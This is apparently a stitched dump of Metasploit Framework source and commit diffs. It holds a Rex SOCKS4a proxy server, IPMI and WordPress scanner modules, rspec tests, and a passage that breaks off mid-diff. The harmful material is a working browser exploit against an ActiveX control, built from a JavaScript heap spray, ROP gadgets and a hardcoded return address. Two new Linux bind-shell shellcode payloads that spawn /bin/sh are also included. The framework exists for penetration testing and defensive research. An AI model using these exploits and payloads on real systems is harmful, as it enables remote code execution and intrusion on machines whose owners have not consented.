end
#
# Start handling the client connection.
#
def start
# create a thread to handle this client request so as to not block the socks4a server
@client_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyClient", false) do
begin
@server.add_client( self )
# get the initial client request packet
request = Packet.recv( @lsock )
raise "Invalid Socks4 request packet received." if not request
# handle the request
begin
# handle socks4a conenct requests
if( request.is_connect? )
# perform the connection request
params = {
'PeerHost' => request.dest_ip,
'PeerPort' => request.dest_port,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
@rsock = Rex::Socket::Tcp.create( params )
# and send back success to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
@lsock.put( response.to_r )
# handle socks4a bind requests
elsif( request.is_bind? )
# create a server socket for this request
params = {
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
bsock = Rex::Socket::TcpServer.create( params )
# send back the bind success to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
response.dest_ip = '0.0.0.0'
response.dest_port = bsock.getlocalname()[PORT]
@lsock.put( response.to_r )
# accept a client connection (2 minute timeout as per spec)
begin
::Timeout.timeout( 120 ) do
@rsock = bsock.accept
end
rescue ::Timeout::Error
raise "Timeout reached on accept request."
end
# close the listening socket
bsock.close
# verify the connection is from the dest_ip origionally specified by the client
rpeer = @rsock.getpeername
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
# send back the client connect success to the client
#
# sf: according to the spec we send this response back to the client, however
# I have seen some clients who bawk if they get this second response.
#
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
response.dest_ip = rpeer[HOST]
response.dest_port = rpeer[PORT]
@lsock.put( response.to_r )
else
raise "Unknown request command received #{request.command} received."
end
rescue
# send back failure to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_REJECT_FAILED
@lsock.put( response.to_r )
# raise an exception to close this client connection
raise "Failed to handle the clients request."
end
# setup the two way relay for full duplex io
@lsock.extend( Relay )
@rsock.extend( Relay )
# start the socket relays...
@lsock.relay( self, @rsock )
@rsock.relay( self, @lsock )
rescue
wlog( "Client.start - #{$!}" )
self.stop
end
end
end
#
# Stop handling the client connection.
#
def stop
@mutex.synchronize do
if( not @closed )
begin
@lsock.close if @lsock
rescue
end
begin
@rsock.close if @rsock
rescue
end
@client_thread.kill if( @client_thread and @client_thread.alive? )
@server.remove_client( self )
@closed = true
end
end
end
end
#
# Create a new Socks4a server.
#
def initialize( opts={} )
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
@opts = @opts.merge( opts )
@server = nil
@clients = ::Array.new
@running = false
@server_thread = nil
end
#
# Check if the server is running.
#
def is_running?
return @running
end
#
# Start the Socks4a server.
#
def start
begin
# create the servers main socket (ignore the context here because we don't want a remote bind)
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'] )
# signal we are now running
@running = true
# start the servers main thread to pick up new clients
@server_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServer", false) do
while( @running ) do
begin
# accept the client connection
sock = @server.accept
# and fire off a new client instance to handle it
Client.new( self, sock ).start
rescue
wlog( "Socks4a.start - server_thread - #{$!}" )
end
end
end
rescue
wlog( "Socks4a.start - #{$!}" )
return false
end
return true
end
#
# Block while the server is running.
#
def join
@server_thread.join if @server_thread
end
#
# Stop the Socks4a server.
#
def stop
if( @running )
# signal we are no longer running
@running = false
# stop any clients we have (create a new client array as client.stop will delete from @clients)
clients = []
clients.concat( @clients )
clients.each do | client |
client.stop
end
# close the server socket
@server.close if @server
# if the server thread did not terminate gracefully, kill it.
@server_thread.kill if( @server_thread and @server_thread.alive? )
end
return !@running
end
def add_client( client )
@clients << client
end
def remove_client( client )
@clients.delete( client )
end
attr_reader :opts
end
end; end; end
# -*- coding: binary -*-
#
# sf - Sept 2010
#
require 'thread'
require 'rex/logging'
require 'rex/socket'
module Rex
module Proto
module Proxy
#
# A Socks4a proxy server.
#
class Socks4a
#
# A client connected to the Socks4a server.
#
class Client
REQUEST_VERSION = 4
REPLY_VERSION = 0
COMMAND_CONNECT = 1
COMMAND_BIND = 2
REQUEST_GRANTED = 90
REQUEST_REJECT_FAILED = 91
REQUEST_REJECT_CONNECT = 92
REQUEST_REJECT_USERID = 93
HOST = 1
PORT = 2
#
# A Socks4a packet.
#
class Packet
def initialize
@version = REQUEST_VERSION
@command = 0
@dest_port = 0
@dest_ip = '0.0.0.0'
@userid = ''
end
#
# A helper function to recv in a Socks4a packet byte by byte.
#
# sf: we could just call raw = sock.get_once but some clients
# seem to need reading this byte by byte instead.
#
def Packet.recv( sock, timeout=30 )
raw = ''
# read in the 8 byte header
while( raw.length < 8 )
raw << sock.read( 1 )
end
# if its a request there will be more data
if( raw[0..0].unpack( 'C' ).first == REQUEST_VERSION )
# read in the userid
while( raw[8..raw.length].index( "\x00" ) == nil )
raw << sock.read( 1 )
end
# if a hostname is going to be present, read it in
ip = raw[4..7].unpack( 'N' ).first
if( ( ip & 0xFFFFFF00 ) == 0x00000000 and ( ip & 0x000000FF ) != 0x00 )
hostname = ''
while( hostname.index( "\x00" ) == nil )
hostname += sock.read( 1 )
end
raw << hostname
end
end
# create a packet from this raw data...
packet = Packet.new
packet.from_r( raw ) ? packet : nil
end
#
# Pack a packet into raw bytes for transmitting on the wire.
#
def to_r
raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )
return raw if( @userid.empty? )
return raw + [ @userid ].pack( 'Z*' )
end
#
# Unpack a raw packet into its components.
#
def from_r( raw )
return false if( raw.length < 8 )
@version = raw[0..0].unpack( 'C' ).first
return false if( @version != REQUEST_VERSION and @version != REPLY_VERSION )
@command = raw[1..1].unpack( 'C' ).first
@dest_port = raw[2..3].unpack( 'n' ).first
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack( 'N' ).first )
if( raw.length > 8 )
@userid = raw[8..raw.length].unpack( 'Z*' ).first
# if this is a socks4a request we can resolve the provided hostname
if( self.is_hostname? )
hostname = raw[(8+@userid.length+1)..raw.length].unpack( 'Z*' ).first
@dest_ip = self.resolve( hostname )
# fail if we couldnt resolve the hostname
return false if( not @dest_ip )
end
else
@userid = ''
end
return true
end
def is_connect?
@command == COMMAND_CONNECT ? true : false
end
def is_bind?
@command == COMMAND_BIND ? true : false
end
attr_accessor :version, :command, :dest_port, :dest_ip, :userid
protected
#
# Resolve the given hostname into a dotted IP address.
#
def resolve( hostname )
if( not hostname.empty? )
begin
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
rescue ::SocketError
return nil
end
end
return nil
end
#
# As per the Socks4a spec, check to see if the provided dest_ip is 0.0.0.XX
# which indicates after the @userid field contains a hostname to resolve.
#
def is_hostname?
ip = Rex::Socket.addr_atoi( @dest_ip )
if( ip & 0xFFFFFF00 == 0x00000000 )
return true if( ip & 0x000000FF != 0x00 )
end
return false
end
end
#
# A mixin for a socket to perform a relay to another socket.
#
module Relay
#
# Relay data coming in from relay_sock to this socket.
#
def relay( relay_client, relay_sock )
@relay_client = relay_client
@relay_sock = relay_sock
# start the relay thread (modified from Rex::IO::StreamAbstraction)
@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do
loop do
closed = false
buf = nil
begin
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue
closed = true
end
if( closed == false )
begin
buf = @relay_sock.sysread( 32768 )
closed = true if( buf == nil )
rescue
closed = true
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
sent = self.write( data )
if( sent > 0 )
total_sent += sent
end
rescue
closed = true
break
end
end
end
if( closed )
@relay_client.stop
::Thread.exit
end
end
end
end
end
#
# Create a new client connected to the server.
#
def initialize( server, sock )
@server = server
@lsock = sock
@rsock = nil
@client_thread = nil
@mutex = ::Mutex.new
end
#
# Start handling the client connection.
#
def start
# create a thread to handle this client request so as to not block the socks4a server
@client_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyClient", false) do
begin
@server.add_client( self )
# get the initial client request packet
request = Packet.recv( @lsock )
raise "Invalid Socks4 request packet received." if not request
# handle the request
begin
# handle socks4a conenct requests
if( request.is_connect? )
# perform the connection request
params = {
'PeerHost' => request.dest_ip,
'PeerPort' => request.dest_port,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
@rsock = Rex::Socket::Tcp.create( params )
# and send back success to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
@lsock.put( response.to_r )
# handle socks4a bind requests
elsif( request.is_bind? )
# create a server socket for this request
params = {
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
}
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
bsock = Rex::Socket::TcpServer.create( params )
# send back the bind success to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
response.dest_ip = '0.0.0.0'
response.dest_port = bsock.getlocalname()[PORT]
@lsock.put( response.to_r )
# accept a client connection (2 minute timeout as per spec)
begin
::Timeout.timeout( 120 ) do
@rsock = bsock.accept
end
rescue ::Timeout::Error
raise "Timeout reached on accept request."
end
# close the listening socket
bsock.close
# verify the connection is from the dest_ip origionally specified by the client
rpeer = @rsock.getpeername
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
# send back the client connect success to the client
#
# sf: according to the spec we send this response back to the client, however
# I have seen some clients who bawk if they get this second response.
#
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_GRANTED
response.dest_ip = rpeer[HOST]
response.dest_port = rpeer[PORT]
@lsock.put( response.to_r )
else
raise "Unknown request command received #{request.command} received."
end
rescue
# send back failure to the client
response = Packet.new
response.version = REPLY_VERSION
response.command = REQUEST_REJECT_FAILED
@lsock.put( response.to_r )
# raise an exception to close this client connection
raise "Failed to handle the clients request."
end
# setup the two way relay for full duplex io
@lsock.extend( Relay )
@rsock.extend( Relay )
# start the socket relays...
@lsock.relay( self, @rsock )
@rsock.relay( self, @lsock )
rescue
wlog( "Client.start - #{$!}" )
self.stop
end
end
end
#
# Stop handling the client connection.
#
def stop
@mutex.synchronize do
if( not @closed )
begin
@lsock.close if @lsock
rescue
end
begin
@rsock.close if @rsock
rescue
end
@client_thread.kill if( @client_thread and @client_thread.alive? )
@server.remove_client( self )
@closed = true
end
end
end
end
#
# Create a new Socks4a server.
#
def initialize( opts={} )
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
@opts = @opts.merge( opts )
@server = nil
@clients = ::Array.new
@running = false
@server_thread = nil
end
#
# Check if the server is running.
#
def is_running?
return @running
end
#
# Start the Socks4a server.
#
def start
begin
# create the servers main socket (ignore the context here because we don't want a remote bind)
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'] )
# signal we are now running
@running = true
# start the servers main thread to pick up new clients
@server_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServer", false) do
while( @running ) do
begin
# accept the client connection
sock = @server.accept
# and fire off a new client instance to handle it
Client.new( self, sock ).start
rescue
wlog( "Socks4a.start - server_thread - #{$!}" )
end
end
end
rescue
wlog( "Socks4a.start - #{$!}" )
return false
end
return true
end
#
# Block while the server is running.
#
def join
@server_thread.join if @server_thread
end
#
# Stop the Socks4a server.
#
def stop
if( @running )
# signal we are no longer running
@running = false
# stop any clients we have (create a new client array as client.stop will delete from @clients)
clients = []
clients.concat( @clients )
clients.each do | client |
client.stop
end
# close the server socket
@server.close if @server
# if the server thread did not terminate gracefully, kill it.
@server_thread.kill if( @server_thread and @server_thread.alive? )
end
return !@running
end
def add_client( client )
@clients << client
end
def remove_client( client )
@clients.delete( client )
end
attr_reader :opts
end
end; end; end

View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'Supermicro Onboard IPMI Static SSL Certificate Scanner',
'Description' => %q{
This module checks for a static SSL certificate shipped with Supermicro Onboard IPMI
controllers. An attacker with access to the publicly-available firmware can perform
controllers. An attacker with access to the publicly-available firmware can perform
man-in-the-middle attacks and offline decryption of communication to the controller.
This module has been on a Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware
version SMT_X9_214.

View File

@ -17,12 +17,12 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal',
'Description' => %q{
This module abuses a directory traversal vulnerability in the url_redirect.cgi application
This module abuses a directory traversal vulnerability in the url_redirect.cgi application
accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability
is present due to a lack of sanitization of the url_name parameter. This allows an attacker with
a valid, but not necessarily administrator-level account, to access the contents of any file
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
with firmware version SMT_X9_214.
},
'Author' =>

View File

@ -0,0 +1,39 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Wordpress Scanner',
'Description' => 'Detects Wordpress Installations and their version number',
'Author' => [ 'Christian Mehlmauer <FireFart[at]gmail.com>' ],
'License' => MSF_LICENSE
)
end
def run_host(target_host)
print_status("Trying ip #{target_host}")
if wordpress_and_online?
version = wordpress_version
version_string = version ? version : '(no version detected)'
print_good("#{target_host} running Wordpress #{version_string}")
report_note(
{
:host => target_host,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:port => rport,
:type => "Wordpress #{version_string}",
:data => target_uri
})
end
end
end

View File

@ -118,7 +118,10 @@ class Metasploit3 < Msf::Exploit::Remote
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
# do not use SSL for this part
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
@ -142,6 +145,10 @@ class Metasploit3 < Msf::Exploit::Remote
'Path' => resource_uri
}})
# Restore SSL preference
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
datastore['SSL'] = true if ssl_restore
end

View File

@ -106,7 +106,10 @@ class Metasploit3 < Msf::Exploit::Remote
end
def start_http_service
#do not use SSL
# do not use SSL for this part
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
@ -129,6 +132,10 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
# Restore SSL preference
# XXX: See https://dev.metasploit.com/redmine/issues/8498
# It must be possible to do this without directly editing the
# datastore.
datastore['SSL'] = true if ssl_restore
return service_url

View File

View File

@ -8,21 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "8.0",
# :javascript => true,
# :os_name => OperatingSystems::WINDOWS,
# :rank => Rank,
# :classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
# :method => "ChooseFilePath",
#})
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
:os_name => /win/i
},
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
[
'Windows XP with IE 6',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '6.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 7 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
[
'Windows XP with IE 7',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 8 on Windows XP SP3',
{
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
[
'Windows XP with IE 8',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[ 'IE 7 on Windows Vista',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
[
'Windows Vista with IE 7',
{
'os_flavor' => 'Vista',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
], self.class
)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
def ie_heap_spray(p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
# Land the payload at 0x0c0c0c0c
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var offset = nops.substring(0, #{get_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
return js
end
def load_exploit_html(my_target, cli)
def exploit_template(cli, target_info)
if my_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
if get_target['Rop']
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
else
p = payload.encoded
p = get_payload(cli, target_info)
end
spray = ie_heap_spray(my_target, p)
spray = ie_heap_spray(p)
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
html = %Q|
html_template = %Q|
<html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script>
#{spray}
<%=spray%>
junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
</script>
</html>
|
return html
return html_template, binding()
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
def on_request_exploit(cli, request, target_info)
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
send_exploit_html(cli, exploit_template(cli, target_info))
end
end
@ -232,4 +201,4 @@ cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
=end

View File

@ -1,8 +1,6 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'

View File

@ -0,0 +1,64 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Bind TCP Random Port Inline',
'Description' => %q{
Listen for a connection in a random port and spawn a command shell.
Use nmap to discover the open port: 'nmap -sS target -p-'.
},
'Author' => 'Geyslan G. Bem <geyslan[at]gmail.com>',
'License' => BSD_LICENSE,
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm'],
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'Payload' =>
{
'Payload' =>
"\x48\x31\xf6" +# xor %rsi,%rsi
"\x48\xf7\xe6" +# mul %rsi
"\xff\xc6" +# inc %esi
"\x6a\x02" +# pushq $0x2
"\x5f" +# pop %rdi
"\xb0\x29" +# mov $0x29,%al
"\x0f\x05" +# syscall
"\x52" +# push %rdx
"\x5e" +# pop %rsi
"\x50" +# push %rax
"\x5f" +# pop %rdi
"\xb0\x32" +# mov $0x32,%al
"\x0f\x05" +# syscall
"\xb0\x2b" +# mov $0x2b,%al
"\x0f\x05" +# syscall
"\x57" +# push %rdi
"\x5e" +# pop %rsi
"\x48\x97" +# xchg %rax,%rdi
"\xff\xce" +# dec %esi
"\xb0\x21" +# mov $0x21,%al
"\x0f\x05" +# syscall
"\x75\xf8" +# jne 40009f
"\x52" +# push %rdx
"\x48\xbf\x2f\x2f\x62" +# movabs $0x68732f6e69622f2f,%rdi
"\x69\x6e\x2f\x73\x68" +
"\x57" +# push %rdi
"\x54" +# push %rsp
"\x5f" +# pop %rdi
"\xb0\x3b" +# mov $0x3b,%al
"\x0f\x05" # syscall
}
))
end
end

View File

@ -0,0 +1,65 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Bind TCP Random Port Inline',
'Description' => %q{
Listen for a connection in a random port and spawn a command shell.
Use nmap to discover the open port: 'nmap -sS target -p-'.
},
'Author' => 'Geyslan G. Bem <geyslan[at]gmail.com>',
'License' => BSD_LICENSE,
'References' => ['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm'],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' =>
{
'Payload' =>
"\x31\xdb" +# xor %ebx,%ebx
"\xf7\xe3" +# mul %ebx
"\xb0\x66" +# mov $0x66,%al
"\x43" +# inc %ebx
"\x52" +# push %edx
"\x53" +# push %ebx
"\x6a\x02" +# push $0x2
"\x89\xe1" +# mov %esp,%ecx
"\xcd\x80" +# int $0x80
"\x52" +# push %edx
"\x50" +# push %eax
"\x89\xe1" +# mov %esp,%ecx
"\xb0\x66" +# mov $0x66,%al
"\xb3\x04" +# mov $0x4,%bl
"\xcd\x80" +# int $0x80
"\xb0\x66" +# mov $0x66,%al
"\x43" +# inc %ebx
"\xcd\x80" +# int $0x80
"\x59" +# pop %ecx
"\x93" +# xchg %eax,%ebx
"\x6a\x3f" +# push $0x3f
"\x58" +# pop %eax
"\xcd\x80" +# int $0x80
"\x49" +# dec %ecx
"\x79\xf8" +# jns 20
"\xb0\x0b" +# mov $0xb,%al
"\x68\x2f\x2f\x73\x68" +# push $0x68732f2f
"\x68\x2f\x62\x69\x6e" +# push $0x6e69622f
"\x89\xe3" +# mov %esp,%ebx
"\x41" +# inc %ecx
"\xcd\x80" # int $0x80
}
))
end
end

View File

@ -0,0 +1,174 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/remote/browser_exploit_server'
describe Msf::Exploit::Remote::BrowserExploitServer do
subject(:server) do
mod = Msf::Exploit.allocate
mod.extend described_class
mod.send(:initialize, {})
mod
end
let(:service_double) do
service = double("service")
service.stub(:server_name=)
service.stub(:add_resource)
service
end
let(:profile_name) do
"random"
end
let(:expected_os_name) do
"linux"
end
let(:expected_user_agent) do
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
end
let(:expected_profile) do
{
:source=>"script",
:os_name=>"Microsoft Windows",
:os_flavor=>"XP",
:ua_name=>"MSIE",
:ua_ver=>"8.0",
:arch=>"x86",
:office=>"null",
:activex=>"true",
:proxy=>false,
:language=>"en-us",
:tried=>true
}
end
before do
Rex::ServiceManager.stub(:start => service_double)
end
before(:each) do
server.start_service
end
describe ".get_module_resource" do
it "should give me a URI to access the exploit page" do
ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
module_resource = server.get_module_resource
module_resource.should match(ivar_exploit_page)
end
end
describe ".get_bad_requirements" do
it "should not contain any bad requirements" do
server.get_bad_requirements(expected_profile).should eq([])
end
it "should have identify :os_name as a requirement not met" do
fake_profile = {
"rMWwSAwBHLoESpHbEGbsv" => {
:os_name => expected_os_name
}}
server.instance_variable_set(:@requirements, {:os_name => /win/i})
baddies = server.get_bad_requirements(fake_profile)
baddies.should eq([:os_name])
end
end
describe ".init_profile" do
it "should initialize an empety profile for tag 'random'" do
server.init_profile(profile_name)
ivar_target_profile = server.instance_variable_get(:@target_profiles)
ivar_target_profile.should eq({profile_name=>{}})
end
end
describe ".get_profile" do
it "should return nil when a profile isn't found" do
server.init_profile(profile_name)
p = server.get_profile("non_existent_profile")
p.should be_nil
end
it "should return a profile if found" do
server.init_profile(profile_name)
p = server.get_profile(profile_name)
p.should eq({})
end
end
describe ".update_profile" do
it "should update my target profile's :os_name information" do
server.init_profile(profile_name)
profile = server.get_profile(profile_name)
server.update_profile(profile, :os_name, expected_os_name)
profile = server.get_profile(profile_name)
profile[:os_name].should eq(expected_os_name)
end
end
describe ".get_detection_html" do
it "should return the detection code that the client will get" do
html = server.get_detection_html(expected_user_agent)
html.should_not eq('')
end
end
describe ".on_request_exploit" do
it "should raise a NoMethodError if called" do
fake_cli = nil
fake_request = nil
fake_browser_info = nil
lambda {
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
}.should raise_error
end
end
describe ".get_target" do
it "should return a target" do
#
# Using Object for Msf::Module::Target
#
expected_object = Object
server.instance_variable_set(:@target, expected_object)
server.get_target.should eq(expected_object)
end
end
describe ".try_set_target" do
it "should try to set a target based on requirements" do
#
# This testcase needs to be better somehow, but not sure how to actually create
# a Msf::Module::Target. All we're able to test here is making sure the method
# doesn't raise anything by exercising the code.
#
server.instance_variable_set(:@requirements, {:os_name => /win/i})
server.instance_variable_set(:@target, Object)
server.try_set_target(expected_profile)
server.get_target.should eq(Object)
end
end
describe ".extract_requirements" do
it "should find all the recognizable keys" do
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
matches = server.extract_requirements(requirements)
matches.should eq(requirements)
end
it "should make sure the keys are always symbols" do
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
matches = server.extract_requirements(requirements)
matches.each do |k,v|
k.class.should eq(Symbol)
end
end
end
end

View File

@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
context "Class methods" do
context ".os" do
it "should load the OS Detect javascript" do
it "should load the OS detection in Javascript" do
js = Rex::Exploitation::Js::Detect.os.to_s
js.should =~ /window\.os_detect/
end
end
context ".addons" do
it "should load the Addons Detect javascript" do
js = Rex::Exploitation::Js::Detect.addons.to_s
js.should =~ /window\.addons_detect/
context ".ie_addons" do
it "should load the IE Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
js.should =~ /window\.ie_addons_detect/
end
end
context ".misc_addons" do
it "should load the misc Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
js.should =~ /window\.misc_addons_detect/
end
end

View File

@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
end
end
context ".ajax_post" do
